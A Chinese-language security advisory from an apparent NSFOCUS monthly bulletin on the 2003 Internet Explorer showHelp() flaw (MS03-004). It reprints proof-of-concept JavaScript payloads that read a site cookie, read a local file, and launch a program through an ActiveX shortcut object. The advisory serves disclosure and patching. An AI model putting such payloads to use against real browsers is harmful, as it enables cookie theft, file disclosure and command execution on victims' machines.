首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第39期->最新漏洞
期刊号: 类型: 关键词:
Microsoft Internet Explorer ShowHelp远程任意命令执行漏洞

日期:2003-03-03

发布日期:2003-02-06
更新日期:2003-02-11

受影响系统:
Microsoft Internet Explorer 6.0SP1
Microsoft Internet Explorer 5.5SP2
Microsoft Internet Explorer 5.5SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.0.1SP2
Microsoft Internet Explorer 5.0.1SP1
Microsoft Internet Explorer 6.0
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows ME
    - Microsoft Windows 98 SE
    - Microsoft Windows 98
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000 Server
    - Microsoft Windows 2000 Professional SP2
    - Microsoft Windows 2000 Professional SP1
    - Microsoft Windows 2000 Professional
    - Microsoft Windows 2000 Datacenter Server SP2
    - Microsoft Windows 2000 Datacenter Server SP1
    - Microsoft Windows 2000 Datacenter Server
    - Microsoft Windows 2000 Advanced Server SP2
    - Microsoft Windows 2000 Advanced Server SP1
    - Microsoft Windows 2000 Advanced Server
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 6780
CVE(CAN) ID: CAN-2003-1328

Microsoft Internet Explorer是一款流行的WEB浏览器。

MSIE的showHelp()实现存在问题,远程攻击者可以利用这个漏洞构造恶意页面,诱使用户点击,以用户权限查看系统文件或者执行任意命令。

showHelp()是一种帮助模式用来显示包含帮助内容的HTML页面,showHelp()允许多中类型的'可插拔'协议。不过对于URL参数有多个安全限制:

1、只有以"file:"或"http:"开始的URL被允许。
2、如果URL指向本地资源,它必须编译成以.chm为扩展名的帮助文件。
3、使用HTTP协议下载的编译好的帮助文件不可信。

问题是如果你以"file:"参数调用showHelp,其安全限制会被关闭,因此利用Javascript协议可以导致在不同域中读取敏感信息,执行任意命令等操作。

攻击者构建恶意WEB页,诱使用户点击,就可以在目标用户本地系统上打开showHelp窗口到一个已知的本地文件,再使用特殊URL把文件信息发到第二个showHelp窗口而获得文件信息。攻击者也可以构造恶意页面在目标用户系统上执行任意命令。

<*来源:Andreas Sandblad (sandblad@acc.umu.se)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104454567525517&w=2
        http://www.microsoft.com/technet/security/bulletin/MS03-004.asp
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Andreas Sandblad (sandblad@acc.umu.se)提供了如下测试方法:

1,读取COOKIE信息:

// Sandblad advisory #11 - Read your google cookie
showHelp("file:");showHelp("http://www.google.com/");
showHelp("javascript:alert(document.cookie)");

2,使用XMLHTTP ActiveX控件读取本地文件。

// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("res://shdoclc.dll/about.dlg");
showHelp("javascript:try{c=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){c=new ActiveXObject('Microsoft.XMLHTTP')};c.open('GET','file://c:/test.txt',false);c.send(null);alert(c.responseText)");

3,使用老的方法读取本地文件内容:

// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("file://c:/test.txt");
showHelp("javascript:alert(document.body.innerText)");

4,使用"execute programs with parameters"方法,执行任意命令:

// Sandblad advisory #11 - Run the very nice game Winmine
showHelp("file:");showHelp("iexplore.chm");showHelp("res:");
showHelp("javascript:location='mk:@MSITStore:C:'");
showHelp("javascript:document.write('<object id=c classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\\u003E<paramname=Command value=ShortCut\\u003E\<param name=Item1 value=,winmine,\\u003E</object\\u003E');c.Click();");

建议:
--------------------------------------------------------------------------------
厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS03-004)以及相应补丁:
MS03-004:Cumulative Patch for Internet Explorer (810847)
链接:http://www.microsoft.com/technet/security/bulletin/MS03-004.asp

补丁下载:

http://www.microsoft.com/windows/ie/downloads/critical/810847/default.asp
版权所有,未经许可,不得转载